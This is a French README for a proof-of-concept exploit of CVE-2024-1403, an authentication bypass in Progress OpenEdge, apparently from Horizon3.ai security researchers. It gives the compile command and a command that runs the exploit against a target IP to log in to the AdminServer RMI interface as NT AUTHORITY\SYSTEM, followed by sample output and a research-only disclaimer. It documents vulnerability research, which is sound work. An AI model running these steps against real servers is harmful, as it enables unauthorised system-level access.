CVE-2024-1403 Progress OpenEdge Contournement d'authentification

Une preuve de concept d'exploit pour Progress OpenEdge CVE-2024-1403.

Article de blog

Plus de détails ici : https://www.horizon3.ai/attack-research/cve-2024-1403-progress-openedge-authentication-bypass-deep-dive

Utilisation

Vous devez fournir vos propres versions des fichiers jar suivants :

• progress.jar
• oeauth-12.8.-.jar
• osmetrics.jar
• juniper.jar

Compilation

$ javac -cp progress.jar:oeauth-12.8.0.jar Main.java

Utilisation

L'exécution de ce script tentera de se connecter à l'interface RMI AdminServer en utilisant l'identifiant NT AUTHORITY\SYSTEM.

$ java -cp progress.jar:oeauth-12.8.0.jar:osmetrics.jar:juniper.jar:. Main <target_ip>
com.progress.system.SystemPlugIn
	com.progress.chimera.common.IChimeraRemoteObject
	com.progress.system.ISystemPlugIn

com.progress.agent.database.AgentPlugIn
	com.progress.chimera.common.IChimeraRemoteObject
	com.progress.agent.database.IAgentPlugIn

com.progress.ubroker.tools.NSRemoteObject
	com.progress.chimera.common.IChimeraHierarchy
	com.progress.ubroker.tools.IYodaRMI
	com.progress.ubroker.tools.IYodaSharedResources

com.progress.ubroker.tools.UBRemoteCommand
	com.progress.chimera.common.IChimeraRemoteCommand

com.progress.juniper.admin.JAPlugIn
	com.progress.chimera.common.IChimeraRemoteObject
	com.progress.juniper.admin.IJAPlugIn

com.progress.agent.smdatabase.SMPlugIn
	com.progress.chimera.common.IChimeraRemoteObject

Suivez l'équipe Horizon3.ai Attack sur Twitter pour les dernières recherches en sécurité :

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

Avertissement

Ce logiciel a été créé uniquement à des fins de recherche académique et pour le développement de techniques défensives efficaces, et n'est pas destiné à être utilisé pour attaquer des systèmes sauf autorisation explicite. Les mainteneurs du projet ne sont pas responsables en cas d'utilisation abusive du logiciel. Utilisez-le de manière responsable.